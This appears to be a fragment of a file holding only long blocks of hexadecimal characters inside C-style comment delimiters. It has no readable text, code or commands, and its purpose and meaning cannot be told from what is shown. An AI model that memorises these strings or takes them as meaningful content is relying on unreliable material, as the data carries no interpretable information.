b4da214ba3488c9d740e1568d6b099d78cea19f3d1ece73b5f9bb5e67c230f47332af3cf34f1365bb8593786b541620dc5016078d3368a83f28d01ff305755893b6a140c0eb50ab7169eb3e269bfbe198b984681fa9b9f2d71e93aa430523cc2585368d98d2e31e6d506b1f9094ea959ed9335a0c60ba91eb0c539f351eae3e4b6b2ef5957bbd324f0aa136fcc19bfb19ec4cdcbbd581dc409847598e1c66c9afffcdaa22780179312abc16fe4930da0a0eef8c2639dc7bc5a23ea003c8053af86557d39c0eda0674674f8e384b2ea0c5bbb96205787035a3d26daa3aea9db20790b7b7350ac22a067779ca5748571853313418235bc017c086ffcc8ccbf3fedc24d657801926519dea9aa77860eddb791c341a8dc977d6a96b64462595d6b16e3156dccb5937fb5dd91775e2f888686367033f9af02f8b1be7ddbc38219b4062ce3e521073f13eee292615a0d1aa2c85acbae77e624ecf739d3234f8766c0900a1ba469485fbb3e7aca4ca38a54444a4ffb2de526d75985819c0e4a0f866b7b6441029d8f5079a8b1deb8f68b80993bf3977ef98edfc5876b137824e4ada9ea2213105752d0d2200f1250cb147b15064cca6f9ab3d2fb3a967fd0e44ea74115d6b932356fca38b11a6e00c719f384ef3701adca*/
/*5a9abcd050887baa1b969d0c399035c39997ffcf5cd8fdde3d85c36e2185de031946fade540f352d33659ae78d0ddbea3c34db15076ef9692b809c1fb1323232efd187ab18b04bbb48299d07bbaf2dd90a330bec975a12ad5ed79c3d8bbe52b5d1bbf25475814f0325b4d86e07d26d3fddaa85b9da04a0ca244b8a524108149638d2ea924bda5860272ba3696c202d5ad19bb3d0f4f1338ae84e38f6246bccad82ced26b2d27732a042219e73c8975443dcab04c257ad43e521b47b29ef88b448d0374c87377f4ee005eb3fd1b08ad8548e5f5f1d8b7b263c622d815f3294c9e9c9099f345bad58d825218a41a33853a144af34441f5c5000550ca0b51c049052ff17e5b424aedd1e9da7e1af5f74d62d3290cce8ffb9d723f08f7443c23c3ce013838c5f32288fa564b41cdd2a5d4753ae722c948c015ad3e50e31b02403a725f4d8cbe703f12c38cbea1e7ef91366ac127973ee615e2100f6e90a969632fdf0e06a8ec0be4e1eb62bb7da0c2a54b89035fcc6f69239c36869a373aa8b14bfb23526b62d66ee5afc1fcc5061b01e90eddda84b7ad9ce8ad6008d4e3f15cddea5250199100709a702c8a44b8bb8ea2a163d29e5d9a92c7f5b19b52f4bc664a18790a8b023fb3a630539260b5f0a0ef4d0daa267aaf4d7e26b86aa50538890280d38c3d7dc7276f8e31269dd75eeafd5957d3a1471addc5d84c0a1f42300ddf820aa02ce15871cd0814eba4fd9843985af2009c4f5ff56391fca9b4aa942e7c957627db2aab8cd5faf4b1ab4821fb416942959a6c24b6cf1ce5e0353ce36302265c8a3dad158a131f050d743b70441940e52d5a1cda640ea8cfc5db36a4b9a08557b0ac3528146bc5d0754ad83dd805d982384be465acdbdb1c777d8b7b6c4604c15f1320f17edd1b5436c5d2c2c7067c259a4ff064a546fce8b2737678ed6194ed1276bf5d647e12f82490a37aaef79aed92c38a81c2b4a76790e6e235f74ee93220ec22bb90076903c9d6c77efb93761235d5c11a8f87505827db16bed53101948f85fd75dad62b1bd187482d09e5b447499dad30cd5336c318bedda68c6b4b0d8d3c97ba5fbe0574c928b59a70ed3eb7c9cb5283d4925d71660bd1fba32ba7a9b7e5cfec36ee018d064a5e5d48545004ae7a3675c30829ac6d7c1b00f3e4e4feff4dcce18cad1a942023cec7221caf36227bf7ec18e44694176381f09199aca0d73d7ed65146a719b5b4e57015e2dd9420057595d66d0a4ee5e403c8dc1977f8fd1f09f824d76b2b82b90c0566abb45e71faee11acfb75b1a930069c0813743d29f3cd0c06aa6ee0b7633412f4793665ebf36d0eeaebb99076ec1f9e028399641a012a57a747775dda04f1eb835f52a6c8bdb982f3c467b18666925f9d25c02cf1f3522ecd4c9f387fefbe59d0059f15a0b677f5663e790671375d449959ab7cf1f5fd08617e2c22f385d0ba0ddd67e8c21adf3fe9e65f0ecf8e7ba8b5317933eab6ddb81fd803ce6a2f96bf0063e6cf164c729f8004094ff2cc943b4349b439c7bba882a98e5fe5bb1a4cf22f4be6a1b8fb43239c739d4c8203c03bdb8cc1b2a6d93653b35c38d024e0e13570c2ad023cddcfa68671c3a0a75446ce1d28f7b871e0700869625746393f86f477d43b1702634530e75c7bda45699cefc640e30eb315d7aab756f104bfa79367f3924ec3946e231b651df5d7d651116d234d8d869315cffc9d14b891bae9940cf58ad9077ec45294e0f45765c3d82a8825e02fe9967e1eb551ec0243b9169f0ebac4a8d92302b196e978be727facca02ca41f0263c46eb72dd26a0aa3959572d5ed4189ce1fe0b742f9a45a5e972f8c2795096c6f4218a66c03b43a2f5cb1f5c44c88824b418ce29b16fbd16b1a83f98d4ea0517f215a1bb54c7a63b967c8c6c37b8127c6f85254eb340d302f6f662313059f7869b6cd040b064028c0c9aaa570a168b08e2c509e34c6a0abb39f48748f27396e70b2fe0aa6626fb8467b91420e65869d91910cb3fa31e639532342f5892b8e72145eb69ef04a7fd5c215712a6c93ad9808bc782bd954f8461ddad9e7a94ad7d308a93613d6b4d5f584a4eb46d4069dac159aa908d53300dcb8a1f9ba97e88c52ca4489bf755b200e2689623a68d93ebcb2ce24f4f516a332d9a8cda79962425255b8c04362799e576ffbdfb7946ae34a83e5df9c040acdd093df901775a253a90b0e1be7f9eeb17f8f09c490415f5a2c17d1296ef684d428ccc9d4a7b201017cf82382a407d72ef4f032d9f7ba7a972dc0a2ea2b2594a99ef1676d15db2806fc3efd0dba36df1a537b59a664670d36869a5cbe14ced17685bcaad47f489ace1726d6e5e7df6163303b4215c0f5b29b6ebf1812bf22c43317bd6c4ac3883f8532295f900423913986ea551b3c3b790fe9888266548d700c6ec0189949528b51777f82266ec2886395663fcbd89e3450e01fd702e14d02eb07b290186258dd3b63a404197f256c3512acff8305fb11656f7248068d626062e6c63c809f690b951e834640acd071de09f34221748c67f5e08f856c3ddf80960fea97b084a8e39b1ca4a3fdab9cd18d6983fe65c223ffeda9aa21ae4df0bed698d5d277de6e2db19dec8320f7f894665ac82d5fac6c376851cbb00a1928b0a86b9fa7681445e637e3d80c2b60eaa0ab17115d57e3b98bf4bfc95ce9530ccd273134d9eee7bbfc7380aab9eafee0c79c6f7a94b524dd45610149f8a1bca82c40fb91a949aba856a5816fbd8877a92b8ae833889516c5ed0353953589ff508e952e81a008c9f0f0854d259c71612d2028fbd372e8f150163da*/
/*baf327b4891e43b2b756c27c884749a72af4795b9079325af771c1f5a4fb35f90de9f22e6ba198e578e0cc59d7ba3357c2d5d9551d89532ef29918da0faf301766a91426a963e8b446de0face28680ff059417ff39cbcbb3f6deda18ddd7bf713e5992be95153a440e6146ad9b57b0d97a33cf7da1c2c270dd19f02772f3403af1810420c4a1b3b2ffbe4b54b1ab7c114898fab3e10c05b46b51a9c2f750c63289ea4c385c825c400159a17b1aa2f80e09a8f40abcb2d1011ccc3ff9945f113b8b6731d9aad44209388d0472b040f5307b0aee8056b46408e92bcfbdc2ca922932c32e30e59465c211f59268d7e7804c7798da88819afa1cc81be2469bfa48acc1a49d14f995ed15ea369b5301452ce538bea8772dfd251f2f4da6c9a2eb61876078aa06db959d41b1fd431841decc7f743ffc83b941cdfeb93273ee4b58c5c98c0549e47e7fb773b8951a1ccb69a43d1a70bf89a2bea3757b4f192c39924286fab4ea2e8c80c5882e7ff5f68f6cb73b142be6f5707a79fc7711a802779bb1a4d63c7e766cf881b158d1f62f541056a24063a1e3fcac5382e658c46cf084d3326f394d62d037b873114e246d8f473ab02d0126059b82802689d5ada40df0031edb2853efd7ff94442931c72b83360e29079b91b3b86fd0fd2b18ad453041879dc9d2d4d549cbb1b6b4a0193f1b88d2f3daa338101fc3d55f0e9a2a46c3bebf1e9901e09547b640064b26e6ac5a292b9819e5875925630766be1521ad7bfefd58b6ae2fa9f1e89bc256d156d7a900eb71ac464c523eb4b479c447cf01fe994c2beaf8281d0e5992534addc0f88829fbc4b1fedc769d608e3eae284ea9cbb598a5f597a4b4a3aa8d5a88822b752fbff1f3420653525f55c768ae6f9f70d98da36646d5c66a698dff66c95a39901d366378eca54eba518735de49c8c5fd7d4edf1907ca3764fef930af3e76a8159591fc34d187345132f9a9ca04ebdf4ab78a9e79772f4c9e362feca2f5c0b2eabbde0e9c7456f507d631581dcb9c4e53d6f3d700bb0939564ef73074463c51e736665465228ad3facd7bab7f3285051f126c755aa97e50cc78d097c7daa5420398fa443b32089302f4f57ed00bd3c061330dba63cd52599c4c05a2fbae4148f49e55fc82bc72420ad057d0c156e42ac14570c7bdbdc40fa181a517bb141d4220471fcae21aa3f1b29c0142b41a5a04f5d5d168511818d66bdb9bd3c62e31951d594318e6afeddb638a0ab5b1d7f1ee89930d88930887187d8e248d5dad1455871c42d9f99803a6f1a6477ba3bb869065e0af01118cec1f511d06e95d2bcc5aa99586eb69b78ef1f01ff6d747d41a9f4f810eaba5214d57d482abb65268aefa3dd4f9ea387e40fbdf347c6ad92ab5465ad30aaa2a3cdd212665eaff91dfe3a31bb34e3858048e0f8798773752f57a66d3ea695975a1d72977784186e7e63bba67fa3aa0f295ecf181f9da743126a2a08a23d70ff1016395f2adc8712216345af767a584d2290a769f80dd5042866b6185ad0604b48ebb0b28a14b0ae35ce50399f53a184d1ce49b2f2b585950a8455284a0d83c8803bf6190faa02212062bda6ebcb7b3c56fa68bb8162aa8652689fe60adec62225670828c7f9ea2f83fba21958a5d1e923d15a12d8a43156b1c65560069aeeebb1f8e1b3626c2fcf9ce43eafc8242021b2b32c2e51e9aeb9fa9433c7ed10113b468ff3dc4d6f2f85828cff3e1476530ff005b36deaff8bafd0b107635c65cc549a66e82405ec42a8d8ba4a4bf22ed1c5b8dbd15c23f635430da339e62552ddbc99647022c9c9e501a924d091730913864f6774aa78e9ba146afffbf9b4ce8acc36a8b235ef09853559b413e4a807aa590cc254288b6a43198c38a4c232e99673400c8970ee6275d43340822139cea71ade732c3e7266c15687f4d62ab7a9c8dc5abd963def6222d8be82d9f894c2e6ff87062948784964b0bd43d195600627802f97dd08847a63846a0926684fc501d34a57d041f06a66d027aacc77c996e473bacd0ebda52e5d8cd6bf73a410fd0eabb8a1ab38548bc8eea67f35f062e72a3f4dfb5e47bbb60a2e29da488b55f16930ca9a4eafa2bf8be975ad4f4b2776362f458da9e9319f980aa40931cb57c24aaffd2e731c3c46d226c31a01a14d1b4cf1b1396fb8aa768a0bdcfced208665cb1281d3f67696006020ac890b527023138705257bf050ac53de22db0a989ebb94194ef3b344bff86a04cba2e6cbc4abfdb071db52918cf3d154e130dd9866ff28755570ca220b2902db3891a295073cac99cdb5a6a9c89aa2fc6754b24cdce770e74054d5c919ec6545a67072913033ca1fd9a44d15cb03a8312fe6d2a95963f46f24ead7fbfea403f8db63496abbf938f9176373448608b983bf2e6e19ab0483da295d97a87394f51ed730567e573566ac2d7966dadc382330d82484acefe0a39aadcb96b6d5a1cf8d1da4cc0b7c4043d38483fcbcde2e4de92561832440d4d945bb2359811c928754c52c1ed4bfd0e67f67d3e69a5f9701edf1eeb034c9290da387a0c2c85469a7ae1c1cb4d5e4352bd826bd2f0bfd290b9dc943d6088fb0b2c59879401cac4ed5870bd0f7a4185d2d43bc59f0568a69ea3438f5016c6db47683323451e3749946e129039bd686c67a29e1bb8475a21468a28b0dd0bd3d704afd5b9f0e4c3a4a83cf3fc7dae0d283bdd98bd716dd1c00f0feac1d642bba56d5f9c150d54b122498196f3ef73700075d184fda318baba698a514648b4ab9da240262cbee174a51a144fbf378bd8a326051936b14470082d75615620d99beca15b09*/
/*0ad22e9cb305cfaed438d0f481a233fca398137a7c15cc3089ecbc98129f15f6ac9afd218bef34b0b70d40b2b71025d2d6b26f778017b84c32132aa34d85fb2b55b3af18f3712268291ee7d0574ca8ae7e14e38de76a5be2db6d57a4d1d8e748055da545312154ef8b4f7fe19248d93944077ed30f75efa94143cd7cd17f590df9de627a6ec1ce32aafbabec9ce588ce25476c4eaf3ed0a457e17f96f0df3f58ff3f84963f54f924057989e07c79d5bd91ca45d5919bb349fd8670d88b2f30d7cedf79c090cff4a8d4db3f7e285a75a0d3f46e0cfe723475c6b2e5a81445140f23510e49b7bb2e9ff09ec412ce723ef7cc20f74ba74738f0e5c8c7e54c41e8563f063df4d17cad5afe14c034cac6d2cd4d092b23cfe41678408a44a581004bde3d73a12afbaed1da483b26831f23a4fda49433cd6c72a5289b8178bfde01f38554665d484ffb541d6cbd036ffc4b0f49d8fee4714ac110185d6a3f533a1e1244828a7c6cf5f00da0fcc34825adb21889ee4da4afd207ac14125227a89ad46decff9b7a333a6d8055551061b98cca1ba450b15e6156900dbdf6b5058ae97a470ef709ad151856428c7b97e532baf12c98901d1132cbd92e5c52dc743aaa7bf4337c62a2d0d7159e02e54e4b22c1fd695fafe196ec0559c03b73fe1844259396e34e791526f48988369c1d6962603beb0d1b0d5b4a4a9e9f8d033e52d52671dd16b5e03cded9ba54bf711d248170498c703615dcfd20bdd0d86443b59e44955a828ef119a90a2a13ef5537219d071fcd2be88c9972b701d8e4eaa1f74263c2083c78b0e6e47ae331ddce4490f19906331bb7c232f4857727ed973cd73998b9ea794830407702e802ec68a3311797be7dd047e33f7f97997ad457dbcaf6f9199b57f4f09017c63d407e40660c1b023095d7357bebd550ffae56309ef05003348c3bbc0556ecf94c7a905fe7f8bc45c8e0c915de6a8fbe9a55363829d8c107cb232815a59b590bfadacd89d15d160597d703d01f8713f8b2f8a3e79e453a205c37503c3f566f71fe8df705a091f4749a87990a98062ad08f326ce107d1cb9e453c0121141bebfa11af7c4c83d8f2a10177888daf063a3696d7bcccf82bf209ce7eeddbc26b55d4a6548a8ab0f04d7c1b358651303284b08c57cf07b592b26b925aeee07100d920698f18503f3e58416225d2e01d4a5c6a68a22f0c5d9c341c53584b92ac2004302bbcb4f88cf56fc4e2d81ad985f4361da7e5a2438d0f3fdfd52d33b4d969643a523b8abfb22cbf3387a507c7661cd0337f0dca91fb9ad79d2f8163046f5c4bfeccffd32a195912393626b4c501aa71246ab0329c0ca5461572e3a91b6dbf744f0c267084860a5225b662c86d8be5fc3abc56c81ea82eb08923cd186003ef4ce52e89029472a517992b3a13567a1bdf4c9310d96faa4f18a5505ec67f80bf2997d5cdebf685eb72f8fc2f9ffec543830f08b51b951b9d2afa40b8f2fca51217ceef71b9e77d87dd7ebe76c38fb06683661c2fe98e5bff2aaead6368480e626a91f0d9e203a8d6d9a754320c3084b7d48eb45129b2147a4ee2b98b35f366f086db095a5d467357e842b84503b741c65c6606526e911426f79b214a85d87888ad5b49c2689bb6ead9d0b733144d611f427f4d01224e208f0e905bb8b73b6169bd3f40191cf30158807c453074b23a3a97d7c2cb46e17efaef4e06b0cbf9a71d52f5e155ee862b5bf203465930e8faa675fd125a1bd717555883f33dcabb724c09bb6f8d8f2e0aa04dcd276d1280463134f90c9c2fdc6c1bcd2f07432d4d4c9db29a3d95a295fca6a6490bae6fdf2e82e759b26a0fad18fa1c5e76d56a01bd2bb2843b8af7b307a505ee1554458165f2a2bf97d71220c0d6f34bb0e5ca99e37725222b7ac38a0cfc9bd3e0436fec9fc0b6fa2acf5aef2f53debb465569ea6791ba93e420a5d290236c9a8b767da9b91b903137b4f68f69a63d8950bc6af4facbf8182c3346a8badfe199f887650b87393e80a29ff1f65035451a708450c754ed3e2ea7e0e562246b63f6838b672ed41971c205fac021752ae11f87868be992b49d43e0fe7030a52d1514838bf22d799cb0f593ef14e6bf322ce45954433cc55fb6287d4c0d64f21060bba2a8f4f774d57e997b96e7ef2963a7e18e9267e1f4d84139a5ecdfb13a6726c1d00b1cb803e10fb54ab0cf42e2a962b50dbcb70016832f11e3a305159a57b431bd8dd51ed18465fe769d6786353f71ab62962e51eecd5ac58da6547e7a3970aad8518060d7b5a88c43500c8fa87e33f63ddfa3dccb7a8c4d266261b2caaf323e7ca636145c47702cb66342200da3e7fa1af431bb43192d89496ca0bbaa57348b8b70a19fc68b670abbfaa000d068ce811f58ec6b5fd43c456199754afb4f3a32b0176580e71fd6c3146adf9a94bf7ae987ee2de64c25345925e0ddc767d0852eee01788899f322bc7eec06de1bf83ea33fe176924d5c5cea15fb2fddc14a804243eb8a9e8639dcc700b66715ba9d3e13db73734c9aa3648214d3c1d49cad3bf18d9e30fba173f0cd5e048f46b3f9c5ef07f91fdd2f55c332f63211bb26a78abf2317a1bb2507bc2640b42a5d1527f3f307eafa26895c651c69c8a77ac0477c98a1bbe58dd88bb66290bba2ed276fa091479f1f6b282836faaf3394ed68b65dd0ef122a71d08c2be0e444d862afe2e5279e87f07e87468b5e8a503fe22c90eebc2fa8b6cfc8b1f43d8465bbbab71a0655c4ad5748ff1f9e04646216d91467ac51af50ecee60004bff372f0bc24bd043835cad9c7a37910b81cfbc68499727834929e008*/
/*da008ea680becde5795e3d267c270e26cb7fb2d44bb1c29a923b7ef5dd6524234331885fcfb2a1a611ddb7f2f6b835b22e95071b26eba2889f070ed33b87799e018e1f0d6cf52af9bbbf0b04b2721127d19421745d0249871d819402e61c7eeed3385580ae0dbb171c11f20eb677a9f9daca85c00e40a2d14fac7bf4c2c556f515257c98e7b23fe99f3ef17e32d1b7432fe68f6f709f0bf40162cfbe88c21a80f2a25097f73fb698b5d5d478ca5c10ea7fd4a320049c27533763264a6648de4da2baa2db8a79fd877bc022755648a4e28ca7c52df90e7240153b657028a500dc8232a4a4467e98cf560c2e4edd0731cee4a973040d663363827af0017a75a93e68a1c0f3536b24a4b7f0cf3f46d9a1f0c67b65febc51a2d12f6e2e73f954979b963c94e5649d575b123bc42ed8ae86b7e8f4f0f32583fbb0dc2465599059b66ab911ce5f60a917926d263f3bc58f57c31cea7900233c12f9f3c35d8ff864959b89f8bdb9c3df63327da5bc583bc6bcd24e9ff702e4044ac8759d6d5f6c11fc2c1468513864a462402b2ca1bd15e9260a1d04f31823d3b188eb844de9b439ae6441551f8393c599d648766937935bd265a9095bbb82e74bd9397c0fcddaabc2b3377010f86ab125c9dbf2f6908d4d4483c8c76b6d7d413edc538bfffea214921d7659d9bdb9ef65a0dbce5e89945cfd5414ee675fd7653bf8fe3d12a2b2aaca17b828ff71c294014956cad2b3a6f290de1f7ad56e963cd29ea6cfc16eb11d00534dd846ea10690556b76b4e551a5c150fc4892dd4b7cf29e9a77f9183d483e2aef44d8234720e49e63a00866b4bdaf15a3952ede441794418bb242b3dc2e5c145eec87b0b7cf38098b5974e0f984b9eaae2954af0de76de1d1a40befead4172fbc810d8ad72adca577cae59a94f67ba55d3482a37a25126660ffd2ee153f0c49d42fbf0bb55515860ce9661b9697be5c0855b73be09f2d5cf787f04920600dc429fc65a911f9778f53e6a5bb596814571fa50072f90bca09e2e190e53b787a943ab7fd8bf053f1b60ba91ca958658d3b7a0effae90e13ac915b1806d252dfaee6158bab255e5e86fd73a7fdef13b1ebdb1a275f03ddc79bdde228d1f37ea07b64705484c79d12ee0bfe8ab134497444593ebbcd27ffc41848768fe0b01184a9f36bed31d3cb007fbab2e9e8bb2b26eddb64c4e2160041a320a3c530fa6ce9f7499a537050e71564dc6ef926f19cb244c85b46000b0c946fa1aecba3413ef368a6a6b1b72494c036866db12a3dc3c1bc2816000382fbcf07bb9f3e63f4cda7dcfde17d048379284cd35d652a4fcae119a342a87e45348d3ba40089eac182f2bc2b138c2e38ccc5922ff38c569db90b53e90549a868169ef529c23b16827fc34b660d25a80d9fcf4e7839aae8c7327a1f5f52dda49bf81d130ee4557d1351dc630bb1bbc533774174b23d899d5500ed470928fc1fee8e26fa8d91718dbaba5ddcc8506af7788f7a7f1aba69b3f31b6a38e1890a775bc7373dee8f636a0139b41e13d0d1c6008b789e46ac3c6393ae3160e6ac617e537229aa2135706407fbe47dbcd3beab8367a3e9423a2cdaf08bb5fe32b36523d3305c768466427140ca681a9189b15b3fe6f33325effd370af8f9f0a97cb1c52ba4d00a6dd8a2c55055e738ec65176ead28ec0928cffa6ee16728ff1bc154c0846835c4dfb544f09f5a6fd06ff09c86b999118d6686927d3723f39b360b0ed5382edf9404fb3a292ba2f540e0cae548bcf13df303f0a799a617b7c9b81fff3dee89d76881d17d5202d4c5ce4e93aad67948c570114d8526b1abefb014cae4a9000eaa039e8464beda0ebd47e3b8e32d114d1e86a7f8eaf957f4ef38bc6a2518a8d32578c4375ca816fb29252e376ea5de46e782f882445dc75a6a75680be27afff9fbf8301801da79f45ecf6f999e5b388281ca02ab54989a1fb0cb013c18c4c8ce54600f0e80547cf58001a87a45fa30d540da3913dc77162dd56a97f2f85c32102e84d6763f34a2576f7cbe0e7f87966fba34a7681c809152008ffc1cf41d290748b9fd94c020c8848f196438be43d2ff90a7faf147f325b71b1764be789f7b89cd2c2dd1de2a897c2c277d57bb4e85f8bf6c12f05553c8b1c00327c03fc3dc7b66ce9f608a25082ada791ebdb01062a305732d97aa3ddfc7919ab84e06e100a03e610f7743100d72dd4894fb305eba9b507ef946f35fce15d86e42f939db741787029b5b61ccab5ede65e5558958f6e9bf443d1642c4df4a3d1e2b15f23877e050362a70dcb3506cb6b80df9cf9748c7afd9109f50dfde22eef87c96771e5c4688dfe7fbe777e465675bdabac25defcabcb73ba58415b20e2bbe678c0aae388feb38d3d69acd3c9d74f63218ceeab993905b7cd7ae4a9b40c5fc72d00569aebe3ccd94e3356f4c1fa9f15b5c9ebb007ada4ddefb705bcc6548a22f29f4182b0402278ea0f8626700417d5dcd2b782dda8596b072b9ee35eac398eccb4ea5a88450b08156c0da7b14f8620893bdad9a2274e1b1ca19116059548fd4ffb0e399621cd6b05d39b58ec50f788d7aad45994bc4f7b4d20d6996e6613d2c9ae3fb2a9457a3a4fe39ef14fff43c62b868de7939bda0868f9320ee9159dee7aa7726d4130eaf9062d9352d66e3a52b04253f7f8504b655bf4af0ebabdc7c09df394236b00b122444f192bc42f7261ccdab62566a5adbbdebfa46fc7887e1e64254cc6c82ed0a8a5d31afe06c7a0b69294a3be617c10dec2e38678600c310737fc734b58d5e8c73af3dbae8663d1dfc207f64abc21f5432bd61fb054a3cebd7*/
/*70fb3ebd6eecb83acfda2ffe3214da8b9fb96c8feded124036bfaaf982fa439d6ccabd3ec4df0af69320bb4b49eb69578181412da044adb0425fdc604fb6b0d74e466fc51f00db1615face396d014121fba257cd188b3bb17213870aeec92532c1f98e73ed635c3b520eeba0290832e411fc54cb4f79c2985d894c0f0814525ff39c2466c9e4fd4f59736f06f9931f306a126b93917b7ef391e7557527ad0a5eaf61d3198cafaab19289de4f9b12351ba44e6e5cb46fa4b439cf7a1ddf19099b10eb0f135a38df095f1d81f45dbf94dff6578fd76a78ca0a8584efcc321a4af930fc3302537d63e2a4f73b9404e156e29a2538b51ca02afcf52f06a40a9a5e0cbe571778b502f2b033bc910197cff185a5f4ce70c0035a4692abdf4f1f069d25ceabb93cf139f1557adfc942705d7cccef3ddd1e365b3121ef014cf65c23108ee9a545725762a8d535abf9fc1b81b2c4e33555f939c05d222f17059687a21db3e1e26949eabcf215f3792044ed352fd4df64cba998b6cc2d5a9399cccb2a30b21b70c32c1b84ae6b77ad81460c31b0f605d4960d1566e543f2ae0c60a00d18c126f5eab40a7dd5145cf4e70a9a7037c3c17ed07e96882eccad5d59bd622af5855e43bb393eab5189af7a4bef8ac079b40cd15625ac176528dc21a6b16d0805b77e766004b1b79e2f70d43c1e7e8fdb854ca9af949460215a24294ad51f1e0ec281257c9d278190a2e120a803c463798749b83db868b2023b41be22c3bedffaf0987b85fad534c77c092c413a9643df2d92bb743b7253425ffecb0aa0641f57b225e1a76e23a19c9768cd59cccc773cd8e3e36952c3974f0be87af4318c8b8314fab807d67b622b48ad8940e21c18dd33e56596a4eadb87ca5d39acd134b6545269d1683d8d31526b681e0324ac70af18e205ca0744ec043b6e353df334e77a50138f1165a45668fbc11b46c72aa22bc8e6ad6961332373b8045e32535d0b9b54989700def89b1235206f958a5f4647fc35d9def799458f0aed78c049ed57b159210eee20f0bb1f6c0f969633dc6bfdc9dae04cf5bb06604c907bec581229e4fbfc3bb45947adbf3971fcd130f60a5afb8decd066b7e23b102d216162a0e19d9e6838271f2408f60d5d1b96532cf14183fd30abe67ef6220eaa2bec48f376f6d988fac3d34945de659d4b8c13768a84823ccf44f31f898b5d71bec28a5e213d3af12f5ed6dbea442ad7a669f151f5783944ea1a5953dfa7e343ebd9855308db4e0c4a8f415f49f409f5fc871d6eec81dfe05cb8522043da2a08176899cc3336ecda6fd8155c304810ef9b3f4447bb03bb66d4ba6d7641285792d82f6cae986028e1b5b6d6a3bd83f87863134a28e56e4ec144012467869a54c23b94239afa4a46111ca2ea2aa1a92b5c2c07a097cbcc8df54127be34b12d65043311cffcb7e9e501be4c8486d37d491de9b7e3d5cbeb7b21b81056e09f7f36793548ae730e56c69cfef6168516f6ab660ad4ee3e6650fc312c359bb6cf4384e0dfba723a078e71f96354ebdd88041eed41cf287ca879a3aa666dfe53b16397285d02880ba053ad56608be982dcf1836f2ea05c2243b1e72b0b308e768a662c1edfb23df9c9d5758f986ede4cd6822650101c520a427713ce0f103af7082119b760586b513f542af6c082c0442e1ee25d83dcd361a7ac428c4dba5bf1b3935488a125231dacf68f2fb3e488747fd0f8eb79906c7d352fb71bc1738d368927a45fc928e005d47b5cb01c941c23fbc482697c1c15cea87b587c46fce1ce63f808ddbd60277ce50df7c5be076266d395867070f502dbdf6def45911e0b90ae3d550c953a5567e087eb19ac2913c7409c27a7f6b94f2496469d8234e507d0893f896a4e2682936071c3e7d5c0cb1026e92abd202cd22541d5fd6ea6ef55480a1b3cdfef9c413dbb892902cc80e97ff361e5cc5900a7048fd8c3242f9acb5e1d7f3ee002a59fd85965d8cc85c3787448e651334fe01bcc0182e620329d27fecc0f015ea9e07d68015e2eaedb573fa13d6495ba1fda9759ac71769d977561870bfe829d0333162b14afd09ff7695abf272e72ed3610e25163c08da69315257264ae244b6a85fbe997030c7d0f943b9a29cb28f1040336cb689b4d77d24d093cad9dd896f4e066cc030a565ed404b2b87b40be4326bf231981af042f9903039acbdf623034d4726ed059af97f1f9d4d4119f548be98df05964efaf05dab656c3891b2dd731d08c23e35dd8bbb7d588b06848ff6414881d2a995a042bd52a24f20e5e17e6d7dd20a3f2a0598b96e213be5265689307093ba80fc90bad9c4a3e6cf720793d521e4577cf4b9c7af449135ec651eb67e5dd6f83f9a3ebc2240bc77288f513e8d822622d7c746a5995ab330847be1c8fe45f02d57c778d42e88e3e09ad8a26d07cdcb82a753bff6f46c8cfa3351539288e43eff3219ab633a372f12ae6ee498afc0303a88a591da2dc63c38dd8121cf6d77400acd2b33987de81ded78f5ec53f4c4c5c4e0d3b9a2de68a668f49c7fb67f1df6db3a46623733d288db8bf751ca621e16ab75f3e5835ff4b619a56aa38f267d18897506d43cad0cbb4c816ff0ba898b9be0aeb2719cd7af7a8bbe56ecb61eb38e6b7cffcdb64688c3e59936477a08c0792222b11d37829788ec2cf1fed4db40873eec1de375e750039c45557dfbc6270b1599a5f2cd14d23ba6e5d66f5ec5cb92f22ff007e8012acf2bda55e9eecea8cc920bf8d08c3038ff110d2a94609184bacd5ffda46a6bdad97e5a5f89a1852cce15b2914641aeffb3e289bb0f2eac950147744f91c*/
/*53d96843c21c9075e9e0add7d9d3631baae4ccab382ce88326afd2a7982cde94ddb03c299628038fb25b47a655aa79f27c8e8f7480bccecc116a478605d73e2e0581f81fa11dc925efdc0166d141bacee8ec86ec55f1866f0e0818ab358368cc0d603d974df2e9f403b393bc77c947dc18033e142d2a02c3452b52f7f2a3eb65d608bdcdcf8ca66df41ebe559092113ec55f94efb5e39582d9ad4937e443baf7f45974696f0bbbeb881565d5026ed6a4965142f790a046ad7ec610b49fed7489868213f00c1a2f549ea120450170286b60b78be6057f7b208b320ee80b88f2333167937021e113638ee1ee3fd3ce3c907fb07eba9ad9d2f38c11204d310a449c144387cdf1ad3d0068a0b24ea992f5ff6a92cec1c7df596720c6aa4f1ae4423d00448da5bfce0c9d743698039b9eaab33cd347d7ad59b160de3b0e28a0da90cf81180d020698379e40ed906bebea47f49b605a3babce313d47f9cd68e4b6076869743c280e9768a9b5b85e3cf1e9284a450331f0e1c9082231382476b9ab488122ac17e835c31519feb167edb3956e7fdda41f64af94349651949c2b796a4bc0a92aa10e427d575097759d44a9d9cfe6f3c85c6607c2bf0d5815b16931abad145ec0481965d5cc8f333fbb16791a2856d1cc62bf7c8eb7e56306745affd78803428877aa17e710cab6fe1f1497fb7ac0f2a8ca946a6e63b66ec0edb99cb56f1ef25b72412f7b029ad1b90771a35354042fb48b5ee115f55f934bbbc4cd122b0054621c0ad04d868f6f1cd4a600105a665d5687494fc4433ef88495a9d77275ec9596cbaddd1cfb7c36352001039471f37c13ab9420313021f409822f9bba6294e7aad9332cecd7c8d41e0253f785a7d796514fd6a63a0ccf792467481eb1f270e2013f15533341950b1f485fe171ba313b79a74dbaf522db15e1fbeadcab3c446cd8c31a42a552ee943b80b62f460755dc04fcf1229f8e55efb72dad598b2f020240903deb1be5794d0d06c7875ff9bf9b6993db5fc32c0935124c93b230f1e7a16c643a2d695f20c93308a68fc1535421930314b4c6bc8d03d0c0df71b125d6f1bedf9c59283ee398c805127d61a83f0accdad9745aecc2c9cd99ba44d63bda3213f0f9d06cf1ea30232802504f5ce8329057e2e350f95e42c21c7d67d17065884c2cafbea331886d4cc05f578202e0ed7d6cc912f51a4a34100b18c97493af8917e7fadf08f53bbe58311410769b899aacc06be2525f4d582e3898ff94700a708635541f223c13114b4e1306ddc8800b6098f42da459ffb460b307b233e07ca8be8179a48739ce682d0e039ac927c6a433c4ad544e1e2a7183b7474fdb7e76002d80dceb0dc518f626be80a6190b42a96b9539ae9b82c956f8a047aa439e777f68d7c6746a0cb0a23fab2dd99df367c7eb7981c209f35d488f615cbf2c9845293d722e3845fb9ff11d0a84222af9c872af1945797e42a40dd29d127b173df76c07c7550a70e0a5d9